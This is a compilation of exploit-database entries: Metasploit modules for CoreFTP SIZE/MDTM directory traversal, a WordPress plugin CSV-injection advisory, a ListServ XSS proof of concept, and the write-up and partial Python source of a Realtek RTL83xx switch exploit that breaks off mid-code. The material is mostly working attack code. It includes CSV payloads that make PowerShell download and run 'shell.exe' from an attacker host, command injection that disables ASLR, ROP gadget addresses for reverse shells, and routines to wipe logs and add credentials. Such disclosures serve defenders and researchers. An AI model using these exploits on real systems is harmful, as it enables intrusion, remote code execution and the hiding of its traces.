# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  SIZE
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/20/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9648

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
'ftp'
  end
  def initialize
    super(
'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below
SIZE Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server
component in Core FTP 2.0 Build 674. A directory traversal vulnerability
exists using the SIZE command along with a \..\..\ substring, allowing an
attacker to enumerate file existence based on the returned information},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
        [
           [ 'CVE', '2019-9648' ],
           [ 'BID', '107446' ],
           [ 'URL', '
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote
server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default
Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified
file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the SIZE command to enumerate
files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +
datastore['FILENAME']
     res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the filesize:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist.
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape
double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end

# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787

# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.

# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure

# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  MDTM
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/21/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9649

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
'ftp'
  end
  def initialize
    super(
'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below
MDTM Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server
component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote
attacker can use a directory traversal (..\..\) to browse outside the root
directory to determine the existence of a file on the operating system, and
the last mofidied date.},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', '
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote
server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default
Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified
file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate
files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +
datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for
the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist.
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape
double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end

# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)
# Google Dork: intitle:LISTSERV 16.5
# Date: 08-21-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: http://www.lsoft.com/
# Softwae Link: http://www.lsoft.com/products/listserv.asp
# Version: Older than Ver 16.5-2018a
# Tested on: IIS 8.5/10.0 - Firefox/Windows
# CVE : CVE-2019-15501

# Software description:
The term Listserv has been used to refer to electronic mailing list software applications in general, 
but is more properly applied to a few early instances of such software, which allows a sender to send one 
email to the list, and then transparently sends it on to the addresses of the subscribers to the list. 

# POC

1.   http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>
2.  http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>

# References:
1.  http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
2.  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501

    [SOT]

    [Subject]

    Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis)
    https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller

    [Brief description]

    1.  Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW version and vendors affected)
      Note: The vulnerability are _not_ from Boa nor Hydra, coming from Realtek additional coding
    2.  Reuse of code between vendors gives almost indentical exploitation of found vulnerabilities
    3.  Two strcpy() vulnerable fixed buffers next to each others in same function make it easy for jumping in Big Endian

    [Goals for this PoC]

    1.  One Python PoC for all vendors
      Using dictionaries to have one 'template' for each vendor and another dictionary with unique details for each target, to be merged on the fly.
      The python code will read and use details from dictionary when verifying/exploiting

    2.  Uniquely identify remote target
      ETag - Static and excellent tool for determine remote target, due to non-changing 'last modified' in same revision of Firmware

      ETag: xxxxx-yyyyy
      xxxxx = file size (up to 5 digits)
      yyyyy = last modified (up to 5 digits)

    3.  Reverse shell
      MIPS Big Endian shellcode is the only option, as there are no 'netcat/telnet/stunnel.. etc' availible

    4.  add/delete credentials for GUI/CLI
      Quite many of the firmware's has the 'option' to add valid credentials by unauthorized updating of 'running-config'
      For those who has added protection, we can add/delete credentials with an bit interesting jumping sequence

    [Technical brief]
    1.  Stack       - Read/Write/Executable (Using CMD injection in the PoC to turn off ASLR)
    2.  Heap        - Read/Write/Executable (No need to turn off, ASLR not turned on for heap)
    3.  fork        - Boa/Hydra using forking shellcode, as I want try restart Boa/Hydra to avoid DoS after successful reverse shell

    Two vulnerable buffers with fixed size in same call, we overwrite $RA with four bytes, and overwrite first byte in $RA with second buffers NULL termination,
    this allows us to jump within the binary itself, and passing arguments for the function we jumping to by tailing these with the original request

    [Basically]
    First buffer:         [aaaaaaaa][0x58xxxxxx]  ('a' and 0x58 will be overwritten by second buffer)
    Second buffer: [bbbbb][bbbbbbbb][0x00xxxxxx]  (NULL termination will overwrite 0x58)

    [Known targets]

    All below is fully exploitable, with following exception:
    [*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
    [*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]

    Not because they are not vulnerable, its because 1) their heap addresses lays at the '0x478000-0x47a000' range,
    and 2) they using obfuscation 'encode' for the password (99 bytes max), we can never reach the 'two buffers' jump method.
    [They are still fully exploitable with the Boa/Hydra vulnerability]

    Note:
    In this PoC I have only implemented few affected versions, in reality there is many more models and FW version affected.


    $ ./Realtek-RTL83xx-PoC.py --etag help

    [*] Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)
    [*] RHOST: 192.168.57.20
    [*] RPORT: 80
    [*] LHOST: 192.168.57.1
    [*] LPORT: 1337
    [+] Target: List of known targets

    [*] ETag: 225-51973   [Cisco Systems, Inc. Sx220 v1.1.3.1]
    [*] ETag: 225-60080   [Cisco Systems, Inc. Sx220 v1.1.4.1]
    [*] ETag: 752-76347   [ALLNET GmbH Computersysteme ALL-SG8208M v2.2.1]
    [*] ETag: 225-21785   [Pakedgedevice & Software Inc SX-8P v1.04]
    [*] ETag: 222-71560   [Zyxel Communications Corp. GS1900-24 v2.40_AAHL.1_20180705]
    [*] ETag: 14044-509   [EnGenius Technologies, Inc. EGS2110P v1.05.20_150810-1754]
    [*] ETag: 13984-12788 [Open Mesh, Inc. OMS24 v01.03.24_180823-1626]
    [*] ETag: 218-22429   [PLANET Technology Corp. GS-4210-8P2S v1.0b171116]
    [*] ETag: 218-7473    [PLANET Technology Corp. GS-4210-24T2S v2.0b160727]
    [*] ETag: 752-95168   [DrayTek Corp. VigorSwitch P1100 v2.1.4]
    [*] ETag: 225-96283   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.6]
    [*] ETag: 225-63242   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.5]
    [*] ETag: 224-5061    [CERIO Corp. CS-2424G-24P v1.00.29]
    [*] ETag: 222-50100   [ALLNET GmbH Computersysteme ALL-SG8310PM v3.1.1-R3-B1]
    [*] ETag: 222-81176   [Shenzhen TG-NET Botone Technology Co,. Ltd. P3026M-24POE (V3) v3.1.1-R1]
    [*] ETag: 8028-89928  [Araknis Networks AN-310-SW-16-POE v1.2.00_171225-1618]
    [*] ETag: 222-64895   [Xhome DownLoop-G24M v3.0.0.43126]
    [*] ETag: 222-40570   [Realtek RTL8380-24GE-4GEC v3.0.0.43126]
    [*] ETag: 222-45866   [Abaniact AML2-PS16-17GP L2 v116B00033]
    [*] ETag: 14044-44104 [EnGenius Technologies, Inc. EWS1200-28TFP v1.07.22_c1.9.21_181018-0228]
    [*] ETag: 14044-32589 [EnGenius Technologies, Inc. EWS1200-28TFP v1.06.21_c1.8.77_180906-0716]
    [*] ETag: 609-31457   [NETGEAR Inc. GS750E ProSAFE Plus Switch v1.0.0.22]
    [*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
    [*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]


    [*] All done...

    [Other vendors]
    These names have been found within some Firmware images, but not implemented as I have not found any Firmware images.
    (However, I suspect they use exact same Firmware due to the traces are 'logo[1-10].jpg/login[1-10].jpg')

    [*] 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power

    [Known bugs]
    1.  Non-JSON:
'/mntlog/flash.log' and '/var/log/flash.log' not always removed when using 'stack_cgi_log()'
      (Must change value for 'flash.log' that needs to be 0x02, 'flash.log' has value 0x00)

    [Responsible Disclosure]
    Working with VDOO since early February 2019 to disclosure found vulnerabilities to vendors
    https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches

    PoC:
    https://github.com/mcw0/PoC/blob/master/Realtek-RTL83xx-PoC.py

    Have a nice day
    /bashis

    [EOT]




Realtek-RTL83xx-PoC.py:
#!/usr/bin/python2.7
#
"""

[Subject]

Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis)
https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller

[Brief description]

1.  Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW version and vendors affected)
  Note: The vulnerability are _not_ from Boa nor Hydra, coming from Realtek additional coding
2.  Reuse of code between vendors gives almost indentical exploitation of found vulnerabilities
3.  Two strcpy() vulnerable fixed buffers next to each others in same function make it easy for jumping in Big Endian

[Goals for this PoC]

1.  One Python PoC for all vendors
  Using dictionaries to have one 'template' for each vendor and another dictionary with unique details for each target, to be merged on the fly.
  The python code will read and use details from dictionary when verifying/exploiting

2.  Uniquely identify remote target
  ETag - Static and excellent tool for determine remote target, due to non-changing 'last modified' in same revision of Firmware

  ETag: xxxxx-yyyyy
  xxxxx = file size (up to 5 digits)
  yyyyy = last modified (up to 5 digits)

3.  Reverse shell
  MIPS Big Endian shellcode is the only option, as there are no 'netcat/telnet/stunnel.. etc' availible

4.  add/delete credentials for GUI/CLI
  Quite many of the firmware's has the 'option' to add valid credentials by unauthorized updating of 'running-config'
  For those who has added protection, we can add/delete credentials with an bit interesting jumping sequence

[Technical brief]
1.  Stack       - Read/Write/Executable (Using CMD injection in the PoC to turn off ASLR)
2.  Heap        - Read/Write/Executable (No need to turn off, ASLR not turned on for heap)
3.  fork        - Boa/Hydra using forking shellcode, as I want try restart Boa/Hydra to avoid DoS after successful reverse shell

Two vulnerable buffers with fixed size in same call, we overwrite $RA with four bytes, and overwrite first byte in $RA with second buffers NULL termination,
this allows us to jump within the binary itself, and passing arguments for the function we jumping to by tailing these with the original request

[Basically]
First buffer:         [aaaaaaaa][0x58xxxxxx]  ('a' and 0x58 will be overwritten by second buffer)
Second buffer: [bbbbb][bbbbbbbb][0x00xxxxxx]  (NULL termination will overwrite 0x58)

[Known targets]

All below is fully exploitable, with following exception:
[*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]

Not because they are not vulnerable, its because 1) their heap addresses lays at the '0x478000-0x47a000' range,
and 2) they using obfuscation 'encode' for the password (99 bytes max), we can never reach the 'two buffers' jump method.
[They are still fully exploitable with the Boa/Hydra vulnerability]

Note:
In this PoC I have only implemented few affected versions, in reality there is many more models and FW version affected.


$ ./Realtek-RTL83xx-PoC.py --etag help

[*] Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)
[*] RHOST: 192.168.57.20
[*] RPORT: 80
[*] LHOST: 192.168.57.1
[*] LPORT: 1337
[+] Target: List of known targets

[*] ETag: 225-51973   [Cisco Systems, Inc. Sx220 v1.1.3.1]
[*] ETag: 225-60080   [Cisco Systems, Inc. Sx220 v1.1.4.1]
[*] ETag: 752-76347   [ALLNET GmbH Computersysteme ALL-SG8208M v2.2.1]
[*] ETag: 225-21785   [Pakedgedevice & Software Inc SX-8P v1.04]
[*] ETag: 222-71560   [Zyxel Communications Corp. GS1900-24 v2.40_AAHL.1_20180705]
[*] ETag: 14044-509   [EnGenius Technologies, Inc. EGS2110P v1.05.20_150810-1754]
[*] ETag: 13984-12788 [Open Mesh, Inc. OMS24 v01.03.24_180823-1626]
[*] ETag: 218-22429   [PLANET Technology Corp. GS-4210-8P2S v1.0b171116]
[*] ETag: 218-7473    [PLANET Technology Corp. GS-4210-24T2S v2.0b160727]
[*] ETag: 752-95168   [DrayTek Corp. VigorSwitch P1100 v2.1.4]
[*] ETag: 225-96283   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.6]
[*] ETag: 225-63242   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.5]
[*] ETag: 224-5061    [CERIO Corp. CS-2424G-24P v1.00.29]
[*] ETag: 222-50100   [ALLNET GmbH Computersysteme ALL-SG8310PM v3.1.1-R3-B1]
[*] ETag: 222-81176   [Shenzhen TG-NET Botone Technology Co,. Ltd. P3026M-24POE (V3) v3.1.1-R1]
[*] ETag: 8028-89928  [Araknis Networks AN-310-SW-16-POE v1.2.00_171225-1618]
[*] ETag: 222-64895   [Xhome DownLoop-G24M v3.0.0.43126]
[*] ETag: 222-40570   [Realtek RTL8380-24GE-4GEC v3.0.0.43126]
[*] ETag: 222-45866   [Abaniact AML2-PS16-17GP L2 v116B00033]
[*] ETag: 14044-44104 [EnGenius Technologies, Inc. EWS1200-28TFP v1.07.22_c1.9.21_181018-0228]
[*] ETag: 14044-32589 [EnGenius Technologies, Inc. EWS1200-28TFP v1.06.21_c1.8.77_180906-0716]
[*] ETag: 609-31457   [NETGEAR Inc. GS750E ProSAFE Plus Switch v1.0.0.22]
[*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]


[*] All done...

[Other vendors]
These names have been found within some Firmware images, but not implemented as I have not found any Firmware images.
(However, I suspect they use exact same Firmware due to the traces are 'logo[1-10].jpg/login[1-10].jpg')

[*] 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power

[Known bugs]
1.  Non-JSON:
'/mntlog/flash.log' and '/var/log/flash.log' not always removed when using 'stack_cgi_log()'
  (Must change value for 'flash.log' that needs to be 0x02, 'flash.log' has value 0x00)

[Responsible Disclosure]
Working with VDOO since early February 2019 to disclosure found vulnerabilities to vendors
https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches


[Technical details]
Please read the code

"""
# Have a nice day
# /bashis
#

import string
import sys
import socket
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import hashlib
import re
import struct
import time
import thread
import json
import inspect
import copy

import hashlib
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto import Random
from random import randint

from pwn import * # pip install pwn

global debug
debug = False
global force
force = False

def DEBUG(direction, text):
  if debug:
    # Print send/recv data and current line number
    print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
    print "\n{}\n".format(text)
    print "[ END  {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
  return

class HTTPconnect:

  def __init__(self, host, proto, verbose, creds, Raw):
    self.host = host
    self.proto = proto
    self.verbose = verbose
    self.credentials = creds
    self.Raw = Raw

  def Send(self, uri, query_headers, query_data,ID,encode_query):
    self.uri = uri
    self.query_headers = query_headers
    self.query_data = query_data
    self.ID = ID
    self.encode_query = encode_query

    # Connect-timeout in seconds
    #timeout = 5
    #socket.setdefaulttimeout(timeout)

    url = '{}://{}{}'.format(self.proto, self.host, self.uri)

    if self.verbose:
      log.info("[Verbose] Sending: {}".format(url))

    if self.proto == 'https':
      if hasattr(ssl, '_create_unverified_context'):
        #log.info("Creating SSL Unverified Context")
        ssl._create_default_https_context = ssl._create_unverified_context

    if self.credentials:
      Basic_Auth = self.credentials.split(':')
      if self.verbose:
        log.info("[Verbose] User: {}, Password: {}".format(Basic_Auth[0],Basic_Auth[1]))
      try:
        pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
        pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
        auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
        opener = urllib2.build_opener(auth_handler)
        urllib2.install_opener(opener)
      except Exception as e:
        log.info("Basic Auth Error: {}".format(e))
        sys.exit(1)

    if self.query_data:
      #request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers)
      if self.query_data and self.encode_query:
        request = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
      else:
        request = urllib2.Request(url, data=self.query_data, headers=self.query_headers)

      if self.ID:
        request.add_header('Cookie', self.ID)
    else:
      request = urllib2.Request(url, None, headers=self.query_headers)
      if self.ID:
        request.add_header('Cookie', self.ID)
    response = urllib2.urlopen(request)
    #if response:
    #  print "[<] {} OK".format(response.code)

    if self.Raw:
      return response
    else:
      html = response.read()
      return html

#
# Validate correctness of HOST, IP and PORT
#
class Validate:

  def __init__(self,verbose):
    self.verbose = verbose

  # Check if IP is valid
  def CheckIP(self,IP):
    self.IP = IP

    ip = self.IP.split('.')
    if len(ip) != 4:
      return False
    for tmp in ip:
      if not tmp.isdigit():
        return False
    i = int(tmp)
    if i < 0 or i > 255:
      return False
    return True

  # Check if PORT is valid
  def Port(self,PORT):
    self.PORT = PORT

    if int(self.PORT) < 1 or int(self.PORT) > 65535:
      return False
    else:
      return True

  # Check if HOST is valid
  def Host(self,HOST):
    self.HOST = HOST

    try:
      # Check valid IP
      socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
      # Now we check if it is correct typed IP
      if self.CheckIP(self.HOST):
        return self.HOST
      else:
        return False
    except socket.error as e:
      # Else check valid FQDN name, and use the IP address
      try:
        self.HOST = socket.gethostbyname(self.HOST)
        return self.HOST
      except socket.error as e:
        return False

class Vendor:

  def __init__(self, ETag):
    self.ETag = ETag

  def random_string(self,length):
    self.length = length

    return "a" * self.length
    #return ''.join(random.choice(string.lowercase) for i in range(self.length))

  #
  # Source: https://gist.github.com/angstwad/bf22d1822c38a92ec0a9
  #
  def dict_merge(self, dct, merge_dct):
""" Recursive dict merge. Inspired by :meth:``dict.update()``, instead of
    updating only top-level keys, dict_merge recurses down into dicts nested
    to an arbitrary depth, updating keys. The ``merge_dct`` is merged into
    ``dct``.
    :param dct: dict onto which the merge is executed
    :param merge_dct: dct merged into dct
    :return: None
"""
    for k, v in merge_dct.iteritems():
      if (k in dct and isinstance(dct[k], dict)
          and isinstance(merge_dct[k], collections.Mapping)):
        self.dict_merge(dct[k], merge_dct[k])
      else:
        dct[k] = merge_dct[k]


  #
  # Difference between vendors and Firmware versions.
  # The update code will search below and update the template on the fly
  # (you can tweak and add code in the template from here)
  #
  # ETag - excellent tool for determine the target
  #
  # ETag: xxxxx-yyyyy
  # xxxxx = file size (up to 5 digits)
  # yyyyy = last modified (up to 5 digits)
  #
  def dict(self):

    Vendor_ETag = {
      #
      # PLANET Technology Corp.
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'218-22429': {
'template':'Planet',          # Static for the vendor
'version':'1.0b171116',          # Version / binary dependent stuff
'model':'GS-4210-8P2S',        # Model
'uri':'https://www.planet.com.tw/en/product/GS-4210-8P2S',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E04C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484029c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
            # Ping IPv4
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'verify_uri':'/tmp/check',
'web_sys_ping_post':0x423B9C,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()
            # traceroute
            #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1',
            #'verify_uri':'/tmp/check',
            #'web_sys_ping_post':0x4243FC,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
'vulnerable': True,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x489368,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x48AB84,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x48C240,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntp_set':0x42DA80,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x42DA80,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x42C868,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'START':0x7ffeee04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 45,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },
'218-7473': {
'template':'Planet',          # Static for the vendor
'version':'2.0b160727',          # Version / binary dependent stuff
'model':'GS-4210-24T2S',        # Model
'uri':'https://www.planet.com.tw/en/product/GS-4210-24T2S',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E04C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484029c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
            # Ping IPv4
'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'verify_uri':'/tmp/check',
'web_sys_ping_post':0x424594,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

            # traceroute
            #'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1',
            #'verify_uri':'/tmp/check',
            #'web_sys_ping_post':0x424DF4,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
'vulnerable': True,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x48AA98,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x48D9F4,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
